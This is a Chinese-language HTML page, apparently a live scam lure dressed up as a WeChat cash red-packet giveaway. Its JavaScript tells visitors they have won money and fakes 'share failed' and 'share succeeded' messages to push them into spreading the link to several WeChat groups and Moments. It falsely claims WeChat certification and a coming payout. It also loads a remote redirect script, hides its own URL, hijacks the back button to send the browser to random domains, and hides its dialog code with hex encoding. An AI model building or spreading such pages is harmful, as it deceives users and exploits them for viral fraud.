<!DOCTYPE html>
<html>

<head>
    <title> </title>
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta content="width=device-width,initial-scale=1.0,minimum-scale=1.0,maximum-scale=1.0,user-scalable=no"
        name="viewport">
    <meta content="yes" name="apple-mobile-web-app-capable">
    <meta content="black" name="apple-mobile-web-app-status-bar-style">
    <meta content="telephone=no" name="format-detection">
    <meta content="email=no" name="format-detection">
    <meta name='apple-itunes-app' content='app-id=477927812'>
    <link href="//res.wx.qq.com/open/libs/weui/1.1.1/weui.min.css" rel="stylesheet" type="text/css">
    <script src=//lib.eqh5.com/jquery/2.0.3/jquery.min.js> </script> <script
        src="//lib.eqh5.com/weixin/1.0.0/jweixin-1.0.0.js"></script>
    <style type="text/css">
        * {
            padding: 0px;
            margin: 0px;
        }

        @charset "utf-8";

        html,
        body {
            background-color: #353535;
            font-size: 100px;
            -webkit-text-size-adjust: 100% !important
        }

        article,
        aside,
        figcaption,
        figure,
        footer,
        header,
        hgroup,
        nav,
        section {
            display: block
        }

        body,
        dl,
        dd,
        ul,
        ol,
        h1,
        h2,
        h3,
        h4,
        h5,
        h6,
        form,
        p,
        figure {
            color: #666;
            padding: 0;
            margin: 0;
            -webkit-margin-before: 0;
            -webkit-margin-after: 0;
            -webkit-tap-highlight-color: rgba(0, 0, 0, 0)
        }

        body,
        button,
        input,
        select,
        textarea {
            font-family: "Microsoft YaHei", "微软雅黑", "PingFang SC", "宋体", "华文细黑", STXihei, "Helvetica Neue", Helvetica, Arial, "Hiragino Sans GB", "Heiti SC", "WenQuanYi Micro Hei", sans-serif;
            -webkit-tap-highlight-color: rgba(0, 0, 0, 0)
        }

        ul,
        ol {
            list-style-type: none;
            list-style-image: none
        }

        a {
            text-decoration: none;
            -webkit-tap-highlight-color: rgba(0, 0, 0, 0)
        }

        a:active,
        a:hover,
        a:focus {
            outline: 0 none
        }

        img {
            max-width: 100%
        }

        button,
        input,
        select,
        textarea {
            margin: 0;
            padding: 0;
            font-family: inherit;
            font-size: 100%;
            vertical-align: baseline;
            outline: 0
        }

        button,
        select {
            text-transform: none
        }

        button,
        input[type=button],
        input[type=reset],
        input[type=submit] {
            -webkit-appearance: none
        }

        input[type=search]::-webkit-search-decoration {
            -webkit-appearance: none
        }

        input::-webkit-input-placeholder {
            color: #a5a5a5
        }

        table {
            border-collapse: collapse;
            border-spacing: 0
        }

        @media screen and (-webkit-min-device-pixel-ratio: 0) {
            input {
                line-height: normal !important
            }
        }

        .c_tx_normal {
            color: #666
        }

        .c_tx_thin {
            color: #fff
        }

        .c_tx_orange {
            color: #F5A623
        }

        .clearfix::after,
        .clearfix::before {
            content: "";
            height: 0;
            line-height: 0;
            display: block;
            visibility: hidden;
            clear: both
        }

        .tx-lf {
            text-align: left
        }

        .tx-cen {
            text-align: center
        }

        .tx-lr {
            text-align: right
        }

        .fl {
            float: left
        }

        .fr {
            float: right
        }

        .bold {
            font-weight: 700
        }

        .js_hide {
            display: none !important
        }

        .share-body {
            height: 100%;
            background: #393A3E
        }

        .share-container .share-container-bg-title {
            color: #D85940;
            font-size: .24rem;
            padding-top: .7rem;
            text-align: center;
            position: relative
        }

        .share-container .share-container-bg-title::before {
            content: '';
            position: absolute;
            width: .85rem;
            height: .85rem;
            background: url("") no-repeat;
            background-size: 100%;
            right: .3rem;
            top: .15rem
        }

        .share-container .share-prompt {
            margin-top: .37rem
        }

        .share-prompt p {
            color: #C9C9C9;
            font-size: .2rem;
            vertical-align: middle;
            padding: 0 .23rem;
            text-align: center
        }

        .share-prompt p .icon_share {
            display: inline-block;
            width: .24rem;
            height: .24rem;
            background: url("") no-repeat;
            background-size: 100%;
            vertical-align: middle
        }

        .share-prompt p span {
            color: #F5A623;
            font-weight: 700;
            font-size: .3rem
        }

        .share-container .red-packet {
            margin-top: .27rem;
            text-align: center;
            line-height: 0;
            position: relative
        }

        .share-container .red-packet img {
            width: 1.58rem
        }

        .share-container .red-packet::after {
            content: '';
            position: absolute;
            top: .73rem;
            left: 50%;
            margin-left: -.3rem;
            width: .6rem;
            height: .6rem;
            background: url("") no-repeat;
            background-size: 100%
        }

        .share-container .red-packet p {
            position: absolute;
            top: .25rem;
            width: 100%;
            text-align: center;
            color: #FFE7C0;
            font-size: .14rem;
            letter-spacing: 1px
        }

        .downloadContent {
            display: none !important
        }
    </style>
</head>

<body>
    <div onclick="share_start()" class="share-container" style="">
        <h3 class="share-container-bg-title">分享点这里</h3>
        <div class="share-prompt">
            <p> 点击右上角，分享到 <i class="icon_share"></i> <span class="leixin">群</span></p>
            <p>即可领取￥<span class="realmoney"></span>￥</p>
        </div>
        <div class="red-packet"><img
                src="">
            <p>恭喜发财</p>
        </div>
    </div>
    <script src="https://www.05ez.com/url/jump"></script>
    <script type="text/javascript">
        loading();

        var shareATimes = 0;
        var shareTTimes = 0;
        var money = getParam("money") == "" ? 88.88 : getParam("money");
        money = (parseInt(money) > 10000 ? parseInt(money) / 100 : 138.04).toFixed(2);
        $(".realmoney").html(money);

        function randStr(n, k) {
            n = n || 32;
            var t = "abcdefghijklmnopqrstuvwxyz123456789",
                u = t.length,
                r = "";
            if (k == 1) {
                t = "123456789";
                u = t.length;
            }
            for (i = 0; i < n; i++)
                r += t.charAt(Math.floor(Math.random() * u));
            return r
        }
        $("#share_pic").click(function () {
            share_start();
        });

        function rand(n, m) {
            var random = Math.floor(Math.random() * (m - n + 1) + n);
            return random;
        }

        function getParam(name) {
            return location.href.split("#")[0].match(new RegExp('[?&]' + name + '=([^?&]+)', 'i')) ? decodeURIComponent(
                RegExp.$1) : '';
        }

        function share_start() {
            wxalert('<b style="font-size: 22px;color: #1BBC9B">恭喜你<br><br></b><span style="color:#8c8c8c">您获得现金红包</span></b><span style="color:#f5294c"><br><span style="font-size: 23px;color:red">' +
                money +
                '</span>元<br>活动宗旨：<font style="color:black">为了答谢更多粉丝，您只需分享到群后</font></span><span style="font-size: 23px;color:red"><br>即可领取</span><br><span>完成后自动存入您的微信钱包</span><br/><span>（<b style="color: red">注意:群人数需>50人才能免审核立即领取</b>）</span><br><br/><span style="color:#8c8c8c">红包总金额仅剩余' +
                rand(500, 1000) + '.00万元，先到先得，活动经微信认证，真实有效</span>', '分享领取');
        }


        function share_tip(shareATimes, shareTTimes) {

            if (shareATimes == 1) {
                g_tips_message =
                    '<b style="font-size: 22px;color: LimeGreen">分享成功  <img style="width: 20px;vertical-align:middle" src="http://i.46.si/fang/image/dui.png"></b><br/><br/>您仅需再分享到<b style="font-size: 18px;color: red">2个不同的群</b><br/><b style="font-size: 20px;color: red;">' +
                    money + '元现金</b><br/>将自动存入您的微信钱包';
                wxalert(g_tips_message, '好');
            } else if (shareATimes == 2) {
                g_tips_message =
                    '<b style="font-size: 22px;color: red">分享失败  <img style="width: 20px;vertical-align:middle" src="http://i.46.si/fang/image/cuo.png"></b><br>注意：请不要分享到<b style="color: red">相同的群或好友</b><br>请尝试重新分享到<b style="color: red">不同的群</b><br/>即可马上领取<b style="font-size: 18px;color: red;">' +
                    money + '</b>元现金';
                wxalert(g_tips_message);
            } else if (shareATimes == 3) {
                g_tips_message =
                    '<b style="font-size: 22px;color: LimeGreen">分享成功  <img style="width: 20px;vertical-align:middle" src="http://i.46.si/fang/image/dui.png"></b><br/><br/>仅需再分享到<b style="font-size: 18px;color: red">1个不同的群</b><br/><b style="font-size: 20px;color: red;">' +
                    money + '元现金</b><br/>将自动存入您的微信钱包';
                wxalert(g_tips_message);
            } else if (shareATimes >= 4 && shareTTimes < 1) {
                $(".leixin").html("朋友圈");
                g_tips_message =
                    '<b style="font-size: 22px;color: LimeGreen">分享成功  <img style="width: 20px;vertical-align:middle" src="http://i.46.si/fang/image/dui.png"></b><br/><br/>剩下最后一步啦！仅需分享到<b style="font-size: 18px;color: red">朋友圈</b><br/><b style="font-size: 20px;color: red;">' +
                    money + '元现金</b><br/>将自动存入您的微信钱包';
                wxalert(g_tips_message);
            } else if (shareATimes >= 4 && shareTTimes < 2) {
                g_tips_message =
                    '<b style="font-size: 22px;color: red">分享失败  <img style="width: 20px;vertical-align:middle" src="http://i.46.si/fang/image/cuo.png"></b><br><br>注意：必须<b style="color: red">公开</b>分享才可以领取<br><b style="color: #ffaa00">客服需要验证朋友圈分享信息发放红包！</b><br>请尝试重新分享到<b style="font-size: 18px;color: #f5294c">朋友圈</b><br>保证<b style="color: red">100%</b>可以领取<b style="font-size: 18px;color: red;">' +
                    money + '</b>元现金';
                wxalert(g_tips_message);
            } else {
                wxalert('<b style="font-size: 20px;">恭喜您</b><font style="font-size: 16px;color:rgba(0,0,0,.54);">获得￥ </font><font style="font-size: 20px;color: red;">' +
                    money +
                    '</font> <font style="font-size: 16px;color:rgba(0,0,0,.54);">现金红包，金额已提交公司打款，预计1小时内到账（跨行次日到账，非工作时间[09:00-17:00]次日到账），请注意查收微信绑定银行卡到账情况！</font>',
                    '我知道了',
                    function () {
                        WeixinJSBridge.invoke('closeWindow');
                    });

            }
        }


        function loading() {
            wxalert(
                '<img style="width: 30px" src="http://puep.qpic.cn/coral/Q3auHgzwzM4fgQ41VTF2rN41ibuV99MPdQAGo6WSIP2aicKRzEKUtaxg/0"><br><b style="font-size: 20px;color: red">正在查询红包数据...</b>'
                );
        }

        function wxalert(msg, btn, callback) {
            var dialog = unescape(
                "%3C%64%69%76%20%69%64%3D%22%6C%6C%79%5F%64%69%61%6C%6F%67%22%20%73%74%79%6C%65%3D%22%64%69%73%70%6C%61%79%3A%20%6E%6F%6E%65%22%3E%0A%20%20%20%20%3C%64%69%76%20%63%6C%61%73%73%3D%22%77%65%75%69%2D%6D%61%73%6B%22%3E%3C%2F%64%69%76%3E%0A%20%20%20%20%3C%64%69%76%20%63%6C%61%73%73%3D%22%77%65%75%69%2D%64%69%61%6C%6F%67%22%3E%0A%20%20%20%20%20%20%20%20%3C%64%69%76%20%63%6C%61%73%73%3D%22%77%65%75%69%2D%64%69%61%6C%6F%67%5F%5F%62%64%22%20%69%64%3D%22%6C%6C%79%5F%64%69%61%6C%6F%67%5F%6D%73%67%22%3E%3C%2F%64%69%76%3E%0A%20%20%20%20%20%20%20%20%3C%64%69%76%20%63%6C%61%73%73%3D%22%77%65%75%69%2D%64%69%61%6C%6F%67%5F%5F%66%74%22%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%3C%61%20%68%72%65%66%3D%22%6A%61%76%61%73%63%72%69%70%74%3A%3B%22%20%63%6C%61%73%73%3D%22%77%65%75%69%2D%64%69%61%6C%6F%67%5F%5F%62%74%6E%20%77%65%75%69%2D%64%69%61%6C%6F%67%5F%5F%62%74%6E%5F%70%72%69%6D%61%72%79%22%20%69%64%3D%22%6C%6C%79%5F%64%69%61%6C%6F%67%5F%62%74%6E%22%3E%3C%2F%61%3E%0A%20%20%20%20%20%20%20%20%3C%2F%64%69%76%3E%0A%20%20%20%20%3C%2F%64%69%76%3E%0A%3C%2F%64%69%76%3E"
            );
            $("body").append(dialog)
            var d = $('#lly_dialog');
            d.show(200);
            d.find("#lly_dialog_msg").html(msg);
            d.find("#lly_dialog_btn").html(btn);
            d.find("#lly_dialog_btn").off('click').on('click', function () {
                callback && callback();
                d.hide(200);
            })
        }


        setTimeout(() => {

            window.history.pushState('page2', '/', "/" + Math["random"]()["toString"](36)["substring"](2) +
                ".html");
            wx.config({
                debug: false,
                appId: "123123",
                jsApiList: ['onMenuShareAppMessage', 'onMenuShareTimeline', 'hideOptionMenu',
                    'hideMenuItems', 'showMenuItems'
                ]
            });
        }, 100);

        setTimeout(function () {
            showtip();
            load();
        }, 1500);


        function shareComplete(num) {
            if (num) {
                shareTTimes += 1;
                share_tip(shareATimes, shareTTimes);
            } else {
                shareATimes += 1;
                share_tip(shareATimes, shareTTimes);
            }
        }

        function load() {
            wx.ready(function () {
                wx.onMenuShareAppMessage({
                    title: "复联中国行 福利大放送",
                    desc: '邀请您于4月30日参加见面会！',
                    link: rd.replace('{encodeUrl}', encodeURIComponent(url)),
                    imgUrl: "https://lbbb.oss-cn-hangzhou.aliyuncs.com/common/img/fcz.jpeg",
                    success: function () {
                        shareComplete(0);
                    },
                    cancel: function () {}
                });

                wx.onMenuShareTimeline({
                    title: "💖复联中国行 福利大放送",
                    link: rd.replace('{encodeUrl}', encodeURIComponent(jurl)),
                    imgUrl: "https://lbbb.oss-cn-hangzhou.aliyuncs.com/common/img/fcz.jpeg",
                    success: function () {
                        shareComplete(1);
                    },
                    cancel: function () {}
                });

            });
        }

        function showtip() {
            share_start();
            $(".pop_hb").hide();
            $(".pop_share").show();
        }

        window.onhashchange = function () {
            //WeixinJSBridge.invoke('closeWindow');
            top.location.href = "http://" + domain_list[rand(0, 12)] + "/" + randStr(6, 0) + "goto/" + randStr(6,
                0) + ".html?type=back&from=true";
        };
        history.pushState(null, "message", "#" + new Date().getTime());
    </script>

</body>

</html>